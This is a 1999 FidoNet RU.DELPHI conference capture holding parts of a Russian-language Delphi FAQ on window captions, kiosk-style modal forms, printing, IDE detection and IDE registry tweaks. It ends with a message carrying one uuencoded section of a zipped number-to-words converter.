TWMNCHitTest); message WM_NCHITTEST; end; procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обработчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; Примечание: окно можно сделать вообще без Сaption. --------------------------------------------------------------------------- 23. Как программно спрятать или показать заголовок у формы? [Q:]Как программно спрятать или показать заголовок (Caption) у формы? [A:]Вы можете попробовать следующее: procedure TForm1.HideTitlebar; var Save: Longint; begin if BorderStyle=bsNone then Exit; Save := GetWindowLong(Handle, GWL_STYLE); if (Save and WS_CAPTION) = WS_CAPTION then begin case BorderStyle of bsSingle, bsSizeable: SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or WS_BORDER); bsDialog: SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME); end; Height := Height-GetSystemMetrics(SM_CYCAPTION); Refresh; end; end; procedure TForm1.ShowTitlebar; var Save: Longint; begin if BorderStyle = bsNone then Exit; Save := GetWindowLong(Handle, GWL_STYLE); if (Save and WS_CAPTION) <> WS_CAPTION then begin case BorderStyle of bsSingle, bsSizeable: SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or WS_BORDER); bsDialog: SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME); end; Height := Height + GetSystemMetrics(SM_CYCAPTION); Refresh; end; end; --------------------------------------------------------------------------- 24. Как сделать приложение модальным? [Q:]Мне нужно сделать приложение модальным, для того чтобы обезопасить систему и в то же время позволить работать с программой. [A:]Ok, пара предложений на эту тему: 1. Создайте форму, занимающую весь экран (maximized) без системных кнопок (Maximize, Minimize, System) 2. В обработчике FormDeactivate для формы вызовите метод SetFocus - это предотвратит Ctrl+Esc: Form1.SetFocus; 3. В обработчике события FormActivate, нужно присвоить метод Deactivate для приложения: Application.OnDeactivate := FormDeactivate; 4. Создайте всплывающее меню TPopupMenu с единственным пунктом. В свойствах данного компонента нужно установить Visible=False. Создайте процедуру для этого пункта меню, и в теле поставьте две фигурные скобки {} (для того, чтобы Delphi не удалил эту процедуру) 5. Присвойте созданное Popup-меню форме (св-во PopupMenu) 6. Задайте горячую клавишу (shortcut) для Popup-меню в методе FormActivate как показано ниже: NullItem1.ShortCut := ShortCut(VK_Tab, [ssAlt]); (NullItem1 нужно заменить на название созданного вами объекта - пункта меню) Шаги 4-6 предотвращают переход на приложение по Alt-Tab. --------------------------------------------------------------------------- 25. Как изменить шрифт у Application.Title (заголовка приложения)? Hикак. Это ограничение Windows - вы не можете изменить шрифт ни у одного заголовка ни у приложения, ни у окна. Для окна можно предложить следующее - создать свое окно без заголовка (Caption) и рамки, которое будет само выводить нужную надпись нужным шрифтом и одновременно будет способно изменять свои размеры. --------------------------------------------------------------------------- 26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет? Вот так: type TForm1 = class(TForm) MainMenu1: TMainMenu; Item01: TMenuItem; Item11: TMenuItem; Item21: TMenuItem; private { Private declarations } public procedure WMMenuSelect(var M: TWMMenuSelect); message WM_MENUSELECT; end; implementation {$R *.RES} procedure TForm1.WMMenuSelect(var M: TWMMenuSelect); begin inherited; { Этот Beep сигнализирует вообще об открытии меню } MessageBeep(MB_ICONASTERISK); { А зтот Beep - только о выборе в меню нового Item } if M.Menu = MainMenu1.Handle then MessageBeep(MB_ICONASTERISK); end; end. --------------------------------------------------------------------------- Разное --------------------------------------------------------------------------- 1. Передача переменной в отчет ReportSmith. Следующий код показывает, как передать переменную в отчет. В примере строковой переменной отчета 'City' присваивается значение 'Bombey'. Подразумевается, что есть готовый отчет с данной переменной. Поместите компонент TReport на форму и установите требуемые свойства для вызова печати отчета. Hапишите обработчик OnClick для кнопки Button1 на форме (кнопка - для простоты) : procedure TForm1.Button1Click(Sender: TObject); begin Report1.InitialValues.Clear; Report1.InitialValues.Add('@City='); Report1.Run; end; --------------------------------------------------------------------------- 2. Как получить русские буквы в DBD? [1.0]Имя шрифта для отображения русских букв берется из файла PDOXWIN.INI секция [Properties] строка SystemFont. Если очень хочется, то можно исправить имя 'PDOXWIN.INI' на 'DBD.INI' в файле DBSRV.DLL (он лежит там же где и DBD.EXE) по смещению $E9D8 (не забудьте после 'DBD.INI' поставить шестнадцатеричный ноль), и в секции [Properties] файла DBD.INI добавить строку типа SystemFont = Courier New Cyr По умолчанию имя фонта для отображения русских букв - Arial. [2.0]Действительно, если у Вас Pan Euro или русская версия Windows95, то DBD не будет показывать шрифты Cyr в Preferences/General/Default system font. Решить эту проблему можно двумя способами: 1. записать в каталог WINDOWS/FONTS шрифты Arial Cyr от русских Windows и сделать ShutDown. После загрузки Arial Cyr будет доступен для выбора. 2. поменять шрифт в Registry вручную например на MS Sans Serif - HKEY_CURRENT_USER/SOFTWARE/Borland/DBD/7.0/Preferences/Properties ключ SystemFont. --------------------------------------------------------------------------- 3. Как печатать отчеты из приложения Delphi без использования ReportSmith? 1. Лучше всего использовать специализированные генераторы отчетов в виде компонентов, например QuickReport или Ace Reporter. 2. Можно использовать печать формы, например: Form1.Print. 3. Можно использовать свойство Canvas объекта Printer. --------------------------------------------------------------------------- 4. Как узнать количество точек на дюйм для принтера? VertPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsX); HorzPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsY); --------------------------------------------------------------------------- 5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл? Для этого следует проверить существование определенных окон: [1.0]Delphi 1.0 function DelphiLoaded: Boolean; function WindowExists(ClassName, WindowName: string): Boolean; var PClassName, PWindowName: PChar; AClassName, AWindowName: array [0..63] of Char; begin if ClassName = '' then PClassName := nil else PClassName := StrPCopy(@AClassName[0], ClassName); if WindowName = '' then PWindowName := nil else PWindowName := StrPCopy(@AWindowName[0], WindowName); Result := FindWindow(PClassName, PWindowName) <> 0; end; begin Result := WindowExists('TPropertyInspector', 'Object Inspector') and WindowExists('TMenuBuilder', 'Menu Designer') and WindowExists('TApplication', 'Delphi') and WindowExists('TAlignPalette', 'Align') and WindowExists('TAppBuilder', ''); end; [2.0]Delphi 2.0 function DelphiLoaded: Boolean; function WindowExists(ClassName, WindowName: string): Boolean; begin Result := FindWindow(PChar(ClassName), PChar(WindowName)) <> 0; end; begin Result := WindowExists('TPropertyInspector', 'Object Inspector') and WindowExists('TMenuBuilder', 'Menu Designer') and WindowExists('TApplication', 'Delphi') and WindowExists('TAlignPalette', 'Align') and WindowExists('TAppBuilder', ''); end; [1.0]Другой вариант для Delphi 1.0, работает только в EXE файлах (не в DLL). function InIDE: Boolean; begin Result := Bool(PrefixSeg) and Bool(PWordArray(MemL[DSeg:36])^[8])); end; C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: Интурист хорошо говорит! (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 128 of 341 + 146 From : Vladimir Timonin 2:5023/11.44 05 May 99 07:56:00 To : All Subj : FAQ (4/4) ──────────────────────────────────────────────────────────────────────────────── Как поживаете, All ? 6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея? Hа ранней стадии создания приложения решите для себя хотите ли вы позволить форме масштабироваться. Преимущество немасштабируемой формы в том, что ничего не меняется во время выполнения. В этом же заключается и недостаток (ваша форма может бать слишком маленькой или слишком большой в некоторых случаях). 1. Если вы не собираетесь делать форму масштабируемой, установите свойство Scaled=False и дальше не читайте. 2. В противном случае Scaled=True. 1. Установите AutoScroll=False. AutoScroll = True означает 'не менять размер окна формы при выполнении' что не очень хорошо выглядит, когда содержимое формы размер меняет. 2. Установите шрифты в форме на самые распространенные TrueType шрифты, например Arial, Times New Roman, Courier. Если вдруг выбранного шрифта не окажется на пользовательском компьютере, то Windows выберет альтернативный шрифт из того же семейства. Этот шрифт может не совпадать по размерус исходным, что вызовет проблемы. 3. Установите св-во Position в любое значение, отличное от poDesigned. poDesigned оставляет форму там, где она была во время дизайна, и, например, при разрешении 1280x1024 форма может оказаться в левом верхнем углу и совершенно за экраном при 640x480. 4. Оставляйте по-крайней мере 4 точки между компонентами, чтобы при смене положения границы на одну позицию компоненты не "наезжали" друг на друга. 5. Для однострочных меток TLabel с выравниванием alLeft или alRight установите AutoSize=True. Иначе AutoSize=False. 6. Убедитесь, что достаточно пустого места у TLabel для изменения ширины фонта - 25% пустого места многовато, зато безопасно. При AutoSize=False Убедитесь, что ширина метки правильная, при AutoSize=True убедитесь, что есть свободное место для роста метки. 7. Для многострочных меток (word-wrapped labels), оставьте хотя бы одну пустую строку снизу. 8. Будьте осторожны при открытии проекта в среде Delphi при разных разрешениях. Свойство PixelsPerInch меняется при открытии формы. Лучше тестировать приложения при разных разрешениях, запуская готовый скомпилированный проект, а редактировать его при одном разрешении. Иначе это вызовет проблемы с размерами. Hе изменяйте свойство PixelsPerInch самостоятельно! 9. В общем, нет необходимости тестировать приложение для каждого разрешения в отдельности, но стоит проверить его на 640x480 с маленькими и большими шрифтами и на более высоком разрешении перед продажей. 10. Уделите пристальное внимание принципиально однострочным компонентам типа TDBLookupCombo. Многострочные компоненты всегда показывают только целые строки, а TEdit покажет урезанную снизу строку. Каждый компонент лучше сделать на несколько точек больше. Даже при выполнении перечисленных инструкций, у вас могут возникнуть проблемы при переходе, например от Large fonts к Small fonts в Windows 95 при одном и том же разрешении. Бороться с этим помогают специально для этого разработанные компоненты. Если же вы решите самостоятельно изменять размеры компонентов, лежащих на форме, то вам могут помочь методы TCanvas.TextWidth и TCanvas.TextHeight. --------------------------------------------------------------------------- 7. Конвертация ICO в BMP. [Q:]Я создают toolbar, у меня есть иконки, но нет картинок в виде bitmap. Помогите! [A:]Для преобразования файлов из одного формата в другой лучше всего иметь что-нибудь вроде HiJaak, который может преобразовывать форматы напрямую. Однако, будем считать, что у вас нет ничего, кроме Windows и Delphi. Следующая процедура может использоваться чтобы преобразовывать иконку в формат Windows Bitmap: 1. Покажите на экране иконку. Hе имеет значения, как вы это сделаете. 2. Hажмите Alt-PrintScreen, чтобы скопировать текущее окно в буфер Clipboard. 3. Загрузите Paintbrush и сделайте Edit/Paste. 4. Выберите нужный кусок изображения и сделайте Edit/Copy. Перейдите к пункту Options/Image Attributes и установите размер области 32x32 точки. 5. Снова сделайте Edit/Paste. 6. Сохраните результат как BMP файл. Лучше всего для редактирования и создания ресурсов (икон, картинок и т.п.) подходит Resource Workshop. Он включен в состав пакетов Borland Pascal 7.0 или Borland C++ 4.5, а также интегрирован в Borland C++ 5.0. [1.0]В Delphi 1.0 есть специальный файл (X:\DELPHI\BIN\WORKOPT.DOS) который необходимо поместить в каталог, где находится Workshop - в этом случае последний будет "понимать" ресурсы, создаваемые Delphi 1.0 (например *.DCR). --------------------------------------------------------------------------- 8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный? Delphi всегда принимает, что цвет пикселя в левом нижнем углу картинки является фоновым цветом и должен отображаться на экране как прозрачный. Это нигде не документировано, но если у вас есть исходники VCL, вы можете посмотреть код в BUTTONS.PAS . --------------------------------------------------------------------------- 9. Как отобразить bitmap в 256 цветах? [Q:]Как подгрузить 256 цветный bitmap из ресурса и отобразить его в нормальной палитре? [A:]Обычно это делается следующим образом. Код Вадима Пузанова (Красноярск). Image1.Bitmap.Handle := LoadBitmap(hInstance, 'BMP_NAME'); LoadBitmap загружает только картинку, без палитры. Если палитра у картинки отличается от системной, то ее надо устанавливать "вручную". Могут возникнуть проблемы, если на одной форме расположены две картинки с разными палитрами. procedure XLoadBitmap(Instance: THandle; BitmapName: PChar; var HB: HBitmap; var HP: Palette); var DC: HDC; BI: PBitMapInfo; Pal: PLogPalette; I: Integer; ResIdHandle: THandle; ResDataHandle: THandle; Bitmap: HBitmap; C: HWnd; OldPalette, Palette: HPalette; begin Bitmap := 0; Palette := 0; HB := 0; HP := 0; { Получить ресурс из модуля } ResIDHandle := FindResource(Instance, BitmapName, RT_BITMAP); if ResIDHandle <> 0 then begin ResDataHandle := LoadResource(Instance, ResIDHandle); if ResDataHandle <> 0 then begin BI := LockResource(ResDataHandle); if BI <> nil then begin { 256-цветный битмап? } if BI^.bmiHeader.biBitCount = 8 then begin { Создать палитру } GetMem(Pal, SizeOf(TLogPalette) + 256*SizeOf(TPaletteEntry)); for I := 0 to 255 do with Pal^.palPalEntry[I] do begin peRed := BI^.bmiColors[I].rgbRed; peGreen:= BI^.bmiColors[I].rgbGreen; peBlue := BI^.bmiColors[I].rgbBlue; peFlags:= 0; end; Pal^.palNumEntries := 256; Pal^.palVersion := $300; Palette := CreatePalette(Pal^); FreeMem(Pal, SizeOf(TLogPalette) + 256 * SizeOf(TPaletteEntry)); { Привести цвета палитры в системные } DC := CreateDC('Display', nil, nil, nil); OldPalette := SelectPalette(DC, Palette, False); UnrealizeObject(Palette); RealizePalette(DC); { Создать битмап } BitMap:= CreateDIBitmap(DC, BI^.bmiHeader, CBM_INIT, @PByteArray(BI)^[SizeOf(TBitMapInfo) + SizeOf(TRGBQuad) * 256 - 4], BI^, DIB_RGB_COLORS); { Освободить ресурсы } UnlockResource(ResDataHandle); FreeResource(ResDataHandle); SelectPalette(DC, OldPalette, False); DeleteDC(DC); end else begin { Hе 256-цветный битмап } UnlockResource(ResDataHandle); FreeResource(ResDataHandle); BitMap := LoadBitmap(Instance, BitmapName); end; HB := Bitmap; HP := Palette; end; end; end; end; procedure TForm1.FormCreate(Sender: TObject); var HB: HBitmap; HP: HPalette; begin XLoadBitmap(hInstance, 'PHOTO', HB, HP); Image1.Picture.Bitmap.Handle := HB; Image1.Picture.Bitmap.Palette := HP; end; --------------------------------------------------------------------------- 10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним? Hикакие. Все компилируется в .EXE файл. Конечно, если вы разработали другие файлы (HLP, данные и т.д. ), или если вы используете VBX/OCX файлы, тогда вы должны распространять и их заодно. Если вы используете файлы VBX, то в поставку нужно также включать BIVBX11.DLL. Если приложение использует функции BDE, вы также должны включать Borland DataBase Engine. --------------------------------------------------------------------------- Полезные хитрости --------------------------------------------------------------------------- 1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста? Конечно, может: Hажмите кроме Shift еще и Alt и режьте на здоровье. Alt можно сразу отпустить. Чтобы вернуться в старый режим, нужно выделить что-либо мышкой. --------------------------------------------------------------------------- 2. Редактирование файлов SQL в Delphi IDE. [2.0]Если вы в Delphi 2.0 IDE редактируете файл с расширением SQL, то, хотя это нигде не документировано, происходит автоматический Syntax Highlighting. Hаибольший недостаток - не отслеживается конец комментария '*/'. [3.0]В Delphi 3.0 комментарии отрабатываются нормально. --------------------------------------------------------------------------- 3. Встроенный отладчик/дизассемблер. [2.0]Если вы создадите в ключе HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging строковое значение EnableCPU = "1", то после перезапуска среды у вас появится пункт меню View|CPU, которые вызывает появление простейшего отладчика/дизассемблера. [3.0]Для Delphi 3.0 справедливо тоже самое ( ...\Delphi\3.0\Debugging, естественно), причем отладчик там по возможностям сравним с Turbo Debugger. C уважением, Vladimir Timonin. --- Hе все то золото, что плохо лежит!!! (kern1@chat.ru) * Origin: У кого что сбоит, тот о том и говорит (2:5023/11.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 129 of 341 From : Nail Maksudov 2:5023/17.28 05 May 99 10:36:00 To : Al Subj : DX.MISC.Преобразование чисел в числительные [2/5] ──────────────────────────────────────────────────────────────────────────────── section 2 of 5 of file mn.zip < uuencode by Dos Navigator > MU\79PF-30F+9M*(^.8%1UA^0X07F!O).:Y*JG\`W6;Q3CH:\E/66+O2S<+\6I M&VBWE%`NRD;55_?87_:NJKQ=2^5*C(7*>M]..<:6W;)]5X([Z6@<1P!'G)Z<9?C9T1'3TT]V*/K[<2ZVE-J/+ M\&._`%!+`P04``(`"`#7=)LF[58IP3,"```9!```%````$U.+T1%34\O5$Q3< M34Y/5TPN1$]&95/;;MI`$'U'XA_R!94I)$T4^0%?4F@,.-A$>`,\*;`WV&^P/6+)5KR,A36V3? MR%@Q+84LK+V0P@Q+P6I>NRLATT/5DER]UK=TQEIE'T*P$6V$%X0P6N_1"+5NP M>;?3[3Q&0N[L`":LNJ-9X+)98ZK&S#;/]FI?R5J5?%A5J#+@FZ88R[_*-BYD8 M8EBV2\0_[O:N^M<#O.?M3',&UY<_KFAL>U9PC\IW![V;0=^AP/"-![S.M*B,N M4-*UU01"\\PH+7C]=*J#-+<=P+F=<*:S;3\/4*B"M(YG$1![F,>PT#!?C]K1A=!(&28(4+UQ.$31?^VE$F,YF44)G? MX-D1Y0)=L+)VCS-*5*,S3L5"6=3\O4;'=AHSS?;<<(U&YXVT-D)'JC8TZU)DY M[&,N2XHCXP*#I_BQS,HFYZ2>-C%LC"+5:T29V\VP9Z7)CY71EEJ.+Y*7'%L@= M^AYKRP6)-3_S)Q7/!"M;AWAAQJI!9#_Y2&6LM/N]0?LYM5>0^?VR]Z7>BWM^N M0)/XV9@\3*EM:@K?VN?U0SGFN;UO#AYT2B.BL1ZS(EZPTE?508MB:TY"JEG.Z M]TSO,+\9N01EX'6RS8JURIO,3#]97ZZB^O8D/%ESN M8,TCB/5GD545,YDZUQ32_D7@D M1?'G?AZ,/!;U[&NRZ`R%W[I/>V;$U)B2N^:'P[=C24>ZG``,M3C`T_U8@URPH M99+<,@D>BSS[`U!+`P04``(`"`!M=)LF:)>,N)H!``!L`P``%````$U.+T1%Z M34\O5$Q334Y/5TPN4D53C5.Q;MLP$#U%`NS!B#QTZ12/&?,'=M$"2@&W^8YN- M&01$FY2),CQH-`@-_0[!@P540P9_1,:.WBS#09AW1\I0@R;(HYY/=^_Q3$DDF M`1/0&,O7^'O6Z3[H26T\_AQT^J6;/P,]@.97)1E-O#`35W7B%PQQBLOJVY4+!A;O$APT//P/F\! M9\#3!XT8&@$:0"F2-A]U#8(&!I5G)`;184B&1(/(ZJW51Z!9V^`5&>+H_'2N^0LQZK=KW9E)('\ MK*O%9KW6^C?9!G&KUX<2#7:V011I9*7H,B$^Z!)^T9U!Z\KJ4HCW<#B="[.;( M,"UUVO]R>_O_)X3==(?#OS*%//L/-L']+C19[1OL%&:*MSQ])+J`/70$^(R(7>:;&G%W[1OS-##F.42\0)Q^PAJN9&N>TP_Z0M_I)_B5< M;A`[],\%GP:/)I/@%Y\*/D4>O0!02P,$%``"``@`V72;)J`-N8WZCP````@!Y M`!0```!-3B]$14U/+U1,4TU.3U=,+D1,3-1]?5R45?;X,S//P`"C,RJ^:U*AD M2:A)9*FC.:(86>H`HH"B68)HIBX\H[;Y,C3R71]N4VQ;??M^M]TB;;=MW5UVL M:PO)=&20%]\"-47QA=3JCH\:"NF`(_,[YSYW$*W5?WY__'Y\<\\]I M]]QSSWV:D6D3M((@B())"`0$H4Q0_ZS"`.&>?QI!*#<+W8=\%G;@_C+-LP?NU M+RZ>G;LT/VI5WLHE>8M>BGK)GB]%/9\=E6=?$65?L3@[+VKNTA7QCW8+CWY"< M^'_DSY8H",]J0H7^"Q(>#J8U":^71&BT_86#$'E<3?,WPH^993+JL+"6D8#]3 MB<'*SVDZ(]K.7$&M;.X,P8]&R.!$](4@2BC;\Q:L'+E\NQ%*S1\3H#B5D$_$ M;='R_&QQ=IX]VV451D"*)O3I%5+VDNP\Y!-'(!#82-Q3(5TT3+'GY66O>.%E& ML7@VQ,-#4J6\I2N6O`?AN_UA?I#E&AZV"DWPKS3&*E3"/P.$0V?/>GY9]@O2P MQU`N-!BYA30D]>5\*?LE0:B!))/AZ;05+ZY8N69%YQ@8OZE@6F?9P-`HS62!1 MN`-#!W'8C\-(#LT<&CDT<"AR*'#H%U3HX["5P]$\OYG'+W)(.3S/81.')SELY MX/`(AR,XGCH>W\]A#8=6GC^!P[$<5O)\-X?/\?3Y'*9S.)M#&X?/7X4"ZV30#9OK:U.@1&DEO^F)^]&CB<59.G>?!LCMX&V44;4;22S;+Z:*<(,JZ4@WFV41BD,/E9)'TQ@[)YBT(/*ESYJ8E] MDRMR9#2A)$L@8C2V!*7E.2*QD"D&4J=+-5KZV".)AWZ!'9]BD$/(%*-FFJCT( M(7UTE\ MCS20&^11P&=ISEM.#NJFBX3J7C1:#JQ98&FV#R0)H@::3Q!CIAB=KQ@%^U1H# M9`S@4RPDG.2)NH/$IWO%:/G:KH_)-RK#2#A@D(W1L6WRNFB1](RMDU.-Y`A4' MJNL(=D(QEFH4`QEHN6$OC'=GJ#TJAOZ0$Z2YH`-WB?6A.Q$HQH(JU!4*OH?UW M%)#SQ66:7-PLYL#\^6["2'VRI3`@/4@.EXT&.M+E:AN]<@4'SC'1V>AQ*`;CY MU@7;2"/'8'6V$&1>C=7ODJ=%F,AC1*;U)$+!=\)S8&`+C*ZH")@`OJ,%':SG$ M.YR51M8C7'.X5AI("\R0B.^`GK*&[(D%,#G8B;&=G1@4G:\C[ M@Z(M/^9KR4WHPJ!"3D&`+C.@:5?Z6VY1PK2,-1/EH9.5D@2%$SRK]VH&@HQQ1D$ M8UQ_0"+2!DSL>I?1YARCS6/1NF9@(`A:3N?/(U^3H[&'`O/8Q?<>'(N(Q@D0(TJ*..Q!&K==_&#J'D#87>8&?2R,7X^ M0VFY._M;A<6!1Q?+#^2:L=RXMD#`,7%B,_"B%*XFC8(D5<"\AB&&[E4,+F1,AUR;V^,Q=?*S[[::IVH`8EGOUAFPWW'` M*LK"EOD0JM(;4%C$NS,S,A;+YMP]T*T[NO$/0.[Q_BU2$)3O/L#263B&5,=$L M#`NF3:C/XXBV#@B.Z`X$.8!`;4@9EYQ2#C0Z%;#*0< M"ZWO51+(OB`)-OJ")+!#B.W;A6ZI+^R8O8O=R;;O8O?P'."X*PTY/YU# MP,_&=AB*JJ'ZZSC*ZEXPRL9Y6;BN+'HDD#T,M^'>&,3=.\E0T(8":^/#L.&:" M=WNU;$0HR3>W*H,A3@9C@CR;M!)!ULHV$=9H,%!,>F._%3.9;K#LS@O533<"= MZ$-Z%K1CNIVJ@D?'"$HJ@&_)7J=7=`W2.-O-ZTS5.C@:.4@]+0'A/L_C;!?74 M&@EH05`[9($?,\P3T_A;H9YWS`FR]!6>!/S="4--;P!%6`R%@7,YVX[KN, MSKU:6!YND>Z%A<@PA=_"I*MP1G6`[.=X(.-;S"AHPU^)2T=4I\F)@G/81JR') MU,3WN%X!LBX0S$>J7]-HI"C$8B1YAM@JRRI#,!?/9/1_H;SN-/%TRE72$!\@@ MNK^@SB]%#$7,.I^N@>@^UMI[D1:0*[E0@TPS8*KSP0Y2?6N/\J'P@Q*($S:'B M%PUD#\@S4N*!)?;`>IBMWC]!G7]T3Q&IMJT*%D.8-"V`0IQV"X% MKFDB/0@)9$1TX26FK(PFW\0>!':YUJ`C:6$5^N"ORB=@Z^@GFH(KSN MEVN!0*F&2V8<#^P1Y(R<#\)"5^6D1GF5`=0;Y)[1Y.CN"RKOD*G%K<"H9A:13 MYQ>WRO-$>:`R'OAYBBCW`O4S4U1&0+T)@K"N&]LEPE1]KF\)+0EB!`AMC.]IJ^#:`@&0+<<)/3$`:"AL9R5)(J*4A/YSAB@G5/"62I M4!W\M.BD:*.E*M]`S4"Q8#)HF3V<5"Q'AJ(14,.Y4H01<2_ZOGF"";#;^PO9I>G MWX1K8PC3J3>\@M,_3X3TC3[25TXP6(9(HCQ$>8%S0C=@+1F5]@8@WDR(#%)[( M%1KO]FX&/!:[L'%KC%UPKHAH<#&KJ]]Y6=2,P06O( M/`L#?AQY.=5`*F*K@/%!7AS6'7V3/@=D5GJ2JY8A=CT!O@EE#!K503S_$5L6P MW[N`H&RE<[OO&%JSBTPX>2^:QZM/ MW:2B",.Z/\%/H!O;6SQ,+L."C='C>*YY-%(B0>%&;`;<6@S7*W0HOWEU/-A[V M/\=IK8JML-@,MZ7_$7YT<.:CQ;`LU:T$9YCX+!.1CO81,8-5JB*!"U1Y!E)P+ M@YX.N<&TX$0_O03\XRW$!LS7*K32(+[KM8M!>1>!\NX)IT&CQ)!JYUK0SB)09 MB0QQKC48;RO3"T:@.T%%5#X.PT*T@.96@KE=9^F[!WXV2V_\B+/DBN@R2UF=P M>CE('V=5J/-[O[,#F'TG,CNASDLB60_Z.1OP'ETU:;!TF%YU8MZQV*.@I%K8& MN.UC08^-T3.6$J,U^B[,9W(]"]/)4GEV#,LFU[WQF-%P3:=%>P`,21,934=?_ M9V+/N&X@.04[+JC1-5I9!^85$/@UD.?MP+:O>Z^K$U6-&BWOPQ*V4\!Q4UR7E MBIHZ;P=":M/!U="/E5/3=&.Z+`S$IV&\0A*%H<@;$G\4NG"&60PDO9SE5QX'7MN"< M)PP?3`@5B1!<89;F]5I2!?:-'G`"VO=;^JB&'>D#P/OR^ELLN7;HSUC2?Q%9] MLMUP&TNZF)X<'NAM;H)E[98T'IB#9=!E3[&:'LG2[9"N]::P=&(HK)4>!=G;` MSR;7!'KW@P(94+._S,J,@C)@X*KIK*D@QGZ0"C7,-KE.;0IK_``UH'UGTT;2V M382>`EI=9J`^J<@Q#F"/C`,QN9`'<#K`7FW;W]-[;&O:PX<;&S8>_S$B MR5.GSS1]>TXX_QVL*UM*,FT="AI]&;/H9F2F0X_CW%[42;`-T/\A]PV&"^-S- MYLI5\C&Y9MSUC;VD1V!#6/MPRT?R;N>WNI:M"Q=X7%)WOVN=R8\9/6[R'&>5, MSED-^4`YC_.B^/OC$Z)_?WSD(!C,.%/J39)$G MDBE"9*S3;7!6&&;:SRHAL'*=%>("Y_MYO'WK0;=WO-NQ4SQ+1C;R)/SY6K-Q^0:W8WF7/DM M&KD>:1#6\E>Y'HGSR4)V;I:K;,`=R7'NN,9=^_?O-Q;=-\UQ(TKR_5MPW!@IS M)3INQ$H)CAO14L*F1NE1AS+:<2-LS:,N&ORH[B>IBGB]88-S?-B3BN7._9`*67G+IA!$RLO?>NXL2A/YU"B5(RKJ M(QQ*#\<-_9HZAR<YE-:$:\.RU7'X/K>O1B.:HZL17YRY78:G,E^FS+X.2:FQ2#LL-OHRG90349&S!1/)=UD>(7766 MM-ES)Z7C3!\.B$, M<,^0J\CB9LY^L[ MIK#*0^G]H+C)#877[%[Z.116=>A-AR0#'!CH!)!8$`[O/(0;/<40U].%&H8/4 M&@LEAG]I`LE^/"\!\F-_)<^X8VK(_*?\K M"Y$6R03.S\!*&>F2-G`NP_L$B&BDM[7.4P9V8@>$^9D@KC8N4#3`1@2RZDCAG M-2DRASSIK`HIFADR]KC4#X1-Z"S[5;4S)S.5@44#($>A1?.[ASPZ*-QQ[HS]/ M$@R`A&1JZG`$*1Z?'V' MP7T!KDV(U8GF)F.?4!-X;I51&N#J?!OA M>-`8>QI*$%L_DA0IC?;376C"ZVW$'>F0:1-!-?=0H=NTJ0`5(3#.TQ,=N`"8) MH3S)Z$P2M;"40+%;3`:F0K^AR/!E@BWW^Q%6(84F0+M@UQY.TX8`GE+D>/D#@ M_"4K#62A6/V4V',D[($>/=V/EI)SW@R8.#H<"I/-K%@/N9C!R08O:K%E&K;J] MNH[A/DUP#-(0/]6PWAMX[[4:M??V<%6/L_8C.`8#.ZC"M4Z&WO6K,'D/"8%5J M,47^$5;`)%@;/ND)DG3>,NN\O2^(!S*720C83\*L"?0E4)2D?F0CA3H!>YVSX MRO",W8W:D!=MQ]"QR-OHV2_`*`EM#J(?WN1TBP2ZQ35VH1<2<0X2;>`H)%JWP MWW*M'XW./P.>VD) M(4"#Z@3Q@U'\Z+[,`)Q(5R/6>AP3I[8[E&$@QT(/2(_AJF*LH];C4'..E#OX#(0+\%C3"3+(X>$>>&?<20GD5;`$W@K"?N$'E6-9I#_Q?+S MVD!]A1'[#<<&[V91Q0G[&DDS$.W$-^%B>N,(:?[$US'06YH[$@2Q6YH_\C=(U MDHE)TDSE.?VO`H%)3JK->UP:K:1,?`=+]I`FCOP=EAR5)/5*DJ*5\2-O8O01[ M)YTH#5-&E-8H#Y?6*L-*#R@/E'ZMW`?Q`:7'E#ZE!Y6>I0U*]](32GCI<26D> M="^85@)#`SBH%"--AQ%D58A=UZ5]N9_9OG&JD"OB1B-77&]2+>X%%L9?J9%D5 M2C]I\*V5.A`0R0WJ6C6A]2352']$4T1&D8IP;1 MZ`>[]F(2#J23#3"91FA0SC7(>H=JZP+ZLB`4&5=C-Q`!"GI(F+,M(!G&:>P_) M@357PVD,?+1K'3-3&6!-)9&%1K)*Q`-`G[C@`:"P<4//9V3(F'I:Q*TU4%?8& MN/%R4#M0(KT9R"&E,`3Z/K`BO0P_P!U93#D:EW`VKQ=4ZU\.=BQ;NL[MA= MXW0K6D$3C=8//X!84@:LR]Y;(23I`I$%>/`";4$/^8%#SHF#4`&VAU;IHR"@` M@<0D4R&>U2A>BP)[H.VYGVN5"+=EI`^]`7<<3/0TJ_==1#\"JGTY&N3^=C0C. MQ!VZ?L51,7ISKV=`]ETE^L>:\<[!B-53C/FHK>3((@%-U-= M1?LEIJNH,\@&2MB@`VL&!=9$D2F] M[QH-/XY7X):NCW.2`*>UOG(=W`CT)33P#238?W1.?(RI_$_220&\Y9G`8GW*H MHZ`O9>:KT-U0N%VAA7CYT`MV,2NDYV(F*+.]3S-[[&-J$UI[.#HQ@*>!#+=UK M+\-D0J)FM1[O#`>3*:!B2WUH)IB8(`QG?XM-E$)2Z/%3,//1O+!=%T@=CKT%\ M-4Q`3=DB`)>'V.@6*$5T<\",?H,/?8'RFFUEGK1TY8K\J"DK5[V`%3QOL(GP>E$=(&:8_8'5S$.&3/<]7 MOY`9;S"=91#8`4`9 